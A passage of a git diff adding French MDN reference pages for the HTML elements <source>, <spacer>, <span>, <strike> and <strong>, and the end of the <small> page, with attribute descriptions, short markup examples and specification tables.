+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-small-element', '&lt;small&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#edef-SMALL', '&lt;small&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.small")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Bien que l'élément <code>&lt;small&gt;</code> et les éléments <code>&lt;b&gt;</code> et <code>&lt;i&gt;</code> soient souvent considérés comme allant à l'encontre du découpage structure/présentation, ils sont tous valides en HTML5. Les auteurs doivent appliquer leur esprit critique afin de déterminer s'il est préférable d'employer <code>&lt;small&gt;</code> ou des règles CSS.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("b")}}</li>
+ <li>{{HTMLElement("font")}}</li>
+ <li>{{HTMLElement("style")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/source/index.html b/files/fr/web/html/element/source/index.html
new file mode 100644
index 0000000000..597e0d08b6
--- /dev/null
+++ b/files/fr/web/html/element/source/index.html
@@ -0,0 +1,146 @@
+---
+title: <source>
+slug: Web/HTML/Element/Source
+tags:
+  - Element
+  - HTML
+  - Media
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/source
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;source&gt;</code></strong> définit différentes ressources média pour un élément {{HTMLElement("picture")}}, {{HTMLElement("audio")}} ou {{HTMLElement("video")}}. C'est un élément vide : il ne possède pas de contenu et ne nécessite pas de balise fermante. Il est généralement utilisé pour distribuer le même contenu en utilisant <a href="/fr/docs/Web/HTML/formats_media_support">les différents formats pris en charge par les différents navigateurs</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/source.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("media")}}</dt>
+ <dd><a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries">Une requête média</a> pour sélectionner la source du média. Cet attribut doit uniquement être utilisé pour un élément {{HTMLElement("picture")}}.</dd>
+ <dt>{{htmlattrdef("sizes")}}</dt>
+ <dd>Cet attribut est une liste de chaîne de caractères, séparées par des virgules, dont chacune décrit une condition de taille. Cette information est utilisée par le navigateur, avant la disposition de la page, pour déterminer quelle image parmi celles définies via l'attribut {{htmlattrxref("srcset", "source")}}. Cet attribut aura un effet uniquement lorsque l'élément {{HTMLElement("source")}} est un élément fils direct d'un élément {{HTMLElement("picture")}}.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Cet attribut est obligatoire pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}}. Il définit l'adresse de la ressource. La valeur de cet attribut est ignorée lorsque l'élément <code>&lt;source&gt;</code> est à l'intérieur d'un élément{{HTMLElement("picture")}}.</dd>
+ <dt>{{htmlattrdef("srcset")}}</dt>
+ <dd>Une liste d'une ou plusieurs chaînes de caractères, séparées par des virgules. Cette liste indique un ensemble d'images qui peuvent être utilisées comme sources par le navigateur. Chaque chaîne de caractères se compose :
+ <ol>
+  <li>D'une URL pointant vers l'image,</li>
+  <li>D'un descripteur de largeur, c'est un entier positif, directement suivi par <code>'w'</code>. La valeur par défaut, si ce descripteur est absent, correspond à l'infini positif.</li>
+  <li>D'un descripteur de densité de pixel, c'est un nombre décimal positif, directement suivi par <code>'x'</code>. La valeur par défaut, si ce descripteur est absent, est <code>1x</code>.</li>
+ </ol>
+
+ <p>Pour être valide, chaque chaîne de caractères doit comporter au moins un descripteur de largeur ou un descripteur de densité de pixel. Dans cette liste, il ne peut y avoir qu'une seule chaîne pour un même couple de descripteurs largeur/pixels. Le navigateur choisira la meilleure image parmi celles fournies dans la liste.<br>
+  L'attribut <code>srcset</code> n'aura un effet que lorsque l'élément {{HTMLElement("source")}} est le fils direct de l'élément {{HTMLElement("picture")}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Le type MIME de la ressource, éventuellement complété d'un paramètre <code>codecs</code>. <a class="external" href="https://tools.ietf.org/html/rfc4281">La RFC 4281</a> indique comment indiquer des codecs. Si l'attribut <code>type</code> n'est pas défini, le type de média est récupéré depuis le serveur et le navigateur vérifie s'il peut le gérer. Si le fichier ne peut être utilisé, la source suivante est contrôlée et ainsi de suite. Si l'attribut <code>type</code> est indiqué, le navigateur le compare avec la liste des types qu'il prend en charge, si le type n'est pas reconnu, le serveur n'est pas interrogé et le navigateur analyse l'élément <code>&lt;source&gt;</code> qui suit.</dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>L'élément <code>&lt;source&gt;</code> est un <em>élément vide</em> ce qui signifie qu'il n'a aucun contenu et qu'il n'y a pas de balise fermante associée. Autrement dit, on n'utilisera pas <code>&lt;/source&gt;</code> dans le code d'un document HTML.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Vidéo">Vidéo</h3>
+
+<p>Dans cet exemple, on voit comment distribuer une vidéo au format Ogg pour les navigateurs qui prennent en charge ce format, la même vidéo au format QuickTime pour d'autres voire au format webm. Si le navigateur ne prend pas en charge <code>&lt;audio&gt;</code> ou <code>&lt;video&gt;</code>, un message sera affiché. Si le navigateur prend en charge l'élément mais aucun des formats proposé, un évènement <code>error</code> sera déclenché et le lecteur média (s'il est activé) indiquera une erreur. <a href="/fr/docs/Web/HTML/formats_media_support">Cette page indique les différents formats pris en charge par les navigateurs</a> pour les éléments <code>&lt;audio&gt;</code> et <code>&lt;video&gt;</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;video controls&gt;
+  &lt;source src="toto.webm" type="video/webm"&gt;
+  &lt;source src="toto.ogg" type="video/ogg"&gt;
+  &lt;source src="toto.mov" type="video/quicktime"&gt;
+  Votre navigateur ne prend pas en charge audio ou video.
+&lt;/video&gt;
+</pre>
+
+<p>Pour plus d'exemples, se référer à <a href="/fr/docs/Web/HTML/Utilisation_d'audio_et_video_en_HTML5">Manipuler les éléments <code>&lt;audio&gt;</code> et <code>&lt;video&gt;</code> dans Firefox</a>.</p>
+
+<h3 id="Image">Image</h3>
+
+<pre class="brush: html">&lt;picture&gt;
+   &lt;source srcset="mdn-logo-wide.png" media="(min-width: 800px)"&gt;
+   &lt;source srcset="mdn-logo-medium.png" media="(min-width: 600px)"&gt;
+   &lt;img src="mdn-logo-narrow.png" alt="MDN"&gt;
+&lt;/picture&gt;
+</pre>
+
+<p>Avec l'élément {{HTMLElement("picture")}}, il faut toujours inclure un élément {{HTMLElement("img")}} comme image de secours, avec un attribut <code>alt</code> qui garantit une certaine accessibilité.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, c'est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Cet élément doit avoir une balise ouvrante mais pas de balise fermante.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>
+    <div>Un élément média —{{HTMLElement("audio")}} ou {{HTMLelement("video")}}— pour lequel l'élément <code>&lt;source&gt;</code> doit être placé avant <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">tout contenu de flux</a> ou tout élément {{HTMLElement("track")}}.</div>
+
+    <div>Un élément {{HTMLElement("picture")}}, pour lequel l'élément <code>&lt;source&gt;</code> doit être placé avant tout élément {{HTMLElement("img")}}.</div>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLSourceElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-source-element', '&lt;source&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.source")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("picture")}}</li>
+ <li>{{HTMLElement("audio")}}</li>
+ <li>{{HTMLElement("video")}}</li>
+ <li><a href="/fr/docs/Learn/Performance">Les performances sur le Web</a></li>
+</ul>
diff --git a/files/fr/web/html/element/spacer/index.html b/files/fr/web/html/element/spacer/index.html
new file mode 100644
index 0000000000..28e1844bd5
--- /dev/null
+++ b/files/fr/web/html/element/spacer/index.html
@@ -0,0 +1,55 @@
+---
+title: <spacer>
+slug: Web/HTML/Element/spacer
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/spacer
+---
+<div>{{non-standard_header}}{{obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;spacer&gt;</code></strong> était utilisé pour insérer des blancs au sein d'une page web. Il a été créé par Netscape pour obtenir le même effet que celui qui était créé avec des images GIF d'un pixel, permettant d'ajouter des espaces blancs. Cependant, <code>&lt;spacer&gt;</code> n'est pas pris en charge par les principaux navigateurs principaux et il faut utiliser les règles CSS pour obtenir ces effets d'alignement. Firefox ne prend plus en charge cet élément depuis la version 4.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément supporte <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Cet attribut détermine le type de <code>&lt;spacer&gt;</code>. Les valeurs possibles sont <code>horizontal</code>, <code>vertical</code> et <code>block</code>.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>Cet attribut peut être utilisé pour définir la taille du <code>&lt;spacer&gt;</code> en pixels lorsque son type vaut <code>horizontal</code> ou <code>vertical</code>.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Cet attribut peut être utilisé pour définir la largeur du <code>&lt;spacer&gt;</code> en pixels quand son type est <code>block</code>.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Cet attribut peut être utilisé pour définir la hauteur du <code>&lt;spacer&gt;</code> en pixels quand son type est <code>block</code>.</dd>
+ <dt>{{htmlattrdef("align")}}</dt>
+ <dd>Cet attribut détermine l'alignement du <code>&lt;spacer&gt;</code>. Les valeurs possibles sont <code>left</code>, <code>right</code> et <code>center</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;span&gt;Un nœud texte&lt;/span&gt;
+&lt;spacer type="horizontal" size="10"&gt;&lt;/spacer&gt;
+&lt;span&gt;Un autre nœud texte&lt;/span&gt;
+&lt;spacer type="block" width="10" height="10"&gt;&lt;/spacer&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","170")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cet élément ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.spacer")}}</p>
diff --git a/files/fr/web/html/element/span/index.html b/files/fr/web/html/element/span/index.html
new file mode 100644
index 0000000000..6052cc8b12
--- /dev/null
+++ b/files/fr/web/html/element/span/index.html
@@ -0,0 +1,109 @@
+---
+title: <span>
+slug: Web/HTML/Element/span
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/span
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;span&gt;</code></strong> est un conteneur générique en ligne (<em>inline</em>) pour les contenus phrasés. Il ne représente rien de particulier. Il peut être utilisé pour grouper des éléments afin de les mettre en forme (grâce aux attributs {{htmlattrxref("class")}} ou {{htmlattrxref("id")}} et aux règles <a href="/fr/docs/Web/CSS">CSS</a>) ou parce qu'ils partagent certaines valeurs d'attribut comme {{htmlattrxref("lang")}}. Il doit uniquement être utilisé lorsqu'aucun autre élément sémantique n'est approprié. <code>&lt;span&gt;</code> est très proche de l'élément {{HTMLElement("div")}}, mais l'élément <code>&lt;div&gt;</code> est <a href="/fr/docs/Web/HTML/Éléments_en_bloc">un élément de bloc</a>, alors que <code>&lt;span&gt;</code> est <a href="/fr/docs/Web/HTML/Éléments_en_ligne">un élément en ligne</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/span.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html;gutter:false">&lt;p&gt;&lt;span&gt;Un peu de texte&lt;/span&gt;&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p span {
+  background: green;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, ou tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Any</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLSpanElement")}} (avant HTML 5, l'interface était {{domxref("HTMLElement")}})</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-span-element', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>L'interface DOM est désormais {{domxref("HTMLSpanElement")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#edef-SPAN', '&lt;span&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.span")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("div")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/strike/index.html b/files/fr/web/html/element/strike/index.html
new file mode 100644
index 0000000000..fc65ffe642
--- /dev/null
+++ b/files/fr/web/html/element/strike/index.html
@@ -0,0 +1,82 @@
+---
+title: <strike>
+slug: Web/HTML/Element/strike
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+translation_of: Web/HTML/Element/strike
+---
+<div>{{Obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;strike&gt;</code></strong> permet de représenter du texte barré ou avec une ligne le traversant.</p>
+
+<div class="note"><strong>Note d'utilisation :</strong> Comme tous les éléments se limitant à la présentation, {{HTMLElement("strike")}} a été déprécié en HTML 4 et XHTML 1, et rendu obsolète dans HTML5. Si on souhaite représente du contenu <em>supprimé</em>, on utilisera l'élément {{HTMLElement("del")}} ; dans les autres cas, on utilisera un élément {{HTMLElement("s")}}.</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément n'a aucun autre attribut en dehors <a href="/fr/docs/Web/HTML/Attributs_universels">des attributs universels</a>, communs à tous les éléments.</p>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("HTMLElement")}}.</p>
+
+<div class="note">
+<p><strong>Note d'implémentation : </strong>Jusqu'à Gecko 1.9.2 inclus, Firefox implémente l'interface {{domxref("HTMLSpanElement")}} pour cet élément.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;strike&gt;
+  Plat du jour : Saumon
+&lt;/strike&gt;
+ÉPUISÉ
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","140")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "obsolete.html#strike", "&lt;strike&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Rendu obsolète et remplacé par {{HTMLElement("del")}} et {{HTMLElement("s")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "obsolete.html#strike", "&lt;strike&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Rendu obsolète et remplacé par {{HTMLElement("del")}} et {{HTMLElement("s")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "/present/graphics.html#edef-STRIKE", "&lt;strike&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td>Rendu déprécié pour être remplacé par {{HTMLElement("del")}} et {{HTMLElement("s")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.strike")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("s")}}, proche de {{HTMLElement("strike")}}, également obsolète</li>
+ <li>L'élément {{HTMLElement("del")}} qui doit être utilisé lorsque le contenu a été <em>supprimé</em></li>
+ <li>La propriété CSS {{cssxref("text-decoration")}} qui permet d'obtenir le même effet visuel que l'élément {{HTMLElement("strike")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/strong/index.html b/files/fr/web/html/element/strong/index.html
new file mode 100644
index 0000000000..878f88c44f
--- /dev/null
+++ b/files/fr/web/html/element/strong/index.html
@@ -0,0 +1,130 @@
+---
+title: '<strong> : l''élément de haute importance'
+slug: Web/HTML/Element/strong
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/strong
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;strong&gt;</code></strong> indique que le texte a une importance particulière ou un certain sérieux voire un caractère urgent. Cela se traduit généralement par un affichage en gras.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/strong.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>L'élément <code>&lt;strong&gt;</code> indique un contenu de haute importance, y compris lorsqu'il s'agit de choses graves ou urgentes (telles que des messages d'avertissement par exemple). Il peut s'agir d'une certaine phrase au sein d'une page ou bien de quelques mots d'une importance particulière par rapport au contenu environnant.</p>
+
+<p>Cet élément se traduit généralement par l'affichage du texte en gras. Toutefois, il ne doit pas être utilisé à des fins stylistiques. Pour cela, on pourra utiliser la propriété CSS {{cssxref("font-weight")}}. De plus, on pourra utiliser l'élément {{HTMLElement("b")}} afin d'attirer l'attention sur une portion de texte qui ne possède pas un niveau d'importance particulier ou l'élément {{HTMLElement("em")}} si on souhaite marquer un texte avec de l'emphase.</p>
+
+<p>Il est également possible d'utiliser <code>&lt;strong&gt;</code> pour les en-têtes de paragraphes qui représentent des notes ou des avertissements au sein d'une page.</p>
+
+<h3 id="&lt;b>_ou_&lt;strong>"><code>&lt;b&gt;</code> ou <code>&lt;strong&gt;</code> ?</h3>
+
+<p>Les développeurs qui débutent se demandent souvent pourquoi il y a autant de manières pour s'exprimer alors que cela aura le même rendu final. Les éléments bold (<code>&lt;b&gt;</code>) et <code>&lt;strong&gt;</code> sont peut-être les plus difficiles à distinguer. Il est vrai que taper <code>&lt;b&gt; &lt;/b&gt;</code> est beaucoup plus rapide et permet d'arriver exactement au même résultat…</p>
+
+<p>Sauf que ce n'est pas le même résultat ! <code>&lt;strong&gt;</code> représente une logique (apporte une différence sémantique), alors que <code>&lt;bold&gt;</code> ne représente qu'une mise en forme (l'apparence). Séparer la forme de la sémantique est important et permet éventuellement de représenter cette même sémantique d'une certaine manière, que ce soit en gras, en rouge, souligné ou encore avec une autre taille de police. Changer le style (la présentation) de <code>&lt;strong&gt;</code> est pertinent, contrairement à <code>&lt;b&gt;</code>. <code>&lt;b&gt;</code> représente un élément de présentation et représente du texte en gras, changer son style pour que le texte apparaisse en autre chose qu'en gras serait illogique et source de confusions.</p>
+
+<p>Il est important de savoir que <code>&lt;b&gt;&lt;/b&gt;</code> ne doit pas être utilisé, à part dans le cas où l'on souhaite attirer l'attention du lecteur sans pour autant augmenter l'importance du texte.</p>
+
+<h3 id="&lt;em>_ou_&lt;strong>"><code>&lt;em&gt;</code> ou <code>&lt;strong&gt;</code> ?</h3>
+
+<p>En HTML 4, <code>&lt;strong&gt;</code> indiquait simplement une emphase plus forte. En HTML5, l'élément représente une « importance forte » de son contenu. Il est important de faire la différence. L'emphase (<code>&lt;em&gt;</code> étant l'élément HTML équivalent) permet de changer le sens d'une phrase : par exemple :  « J'<em>adore</em> les licornes » et « J'adore les <em>licornes</em> ». <code>&lt;strong&gt;</code> est utilisé pour augmenter l'importance de certaines portions de phrases : «<strong> Attention !</strong> C'est <strong>très dangereux</strong> ».  <code>&lt;strong&gt;</code> et <code>&lt;em&gt;</code> peuvent être imbriqués pour augmenter relativement l'importance ou l'emphase d'un texte.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Avant de faire le truc X il est
+  &lt;strong&gt;nécessaire&lt;/strong&gt; de
+  faire le truc Y avant.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","150")}}</p>
+<h2 id="Résumé_technique">Résumé technique</h2>
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Aucune, cet élément doit avoir une balise ouvrante et une balise fermante.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a> ou tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}. Auparavant et jusqu'à Gecko 1.9.2 (Firefox 4) inclus, Firefox implémente l'interface {{domxref("HTMLSpanElement")}} pour cet élément</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-strong-element', '&lt;strong&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-strong-element', '&lt;strong&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#edef-STRONG', '&lt;strong&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.strong")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("b")}}</li>
+ <li>{{HTMLElement("em")}}</li>
+ <li>La propriété {{cssxref("font-weight")}}</li>
+</ul>
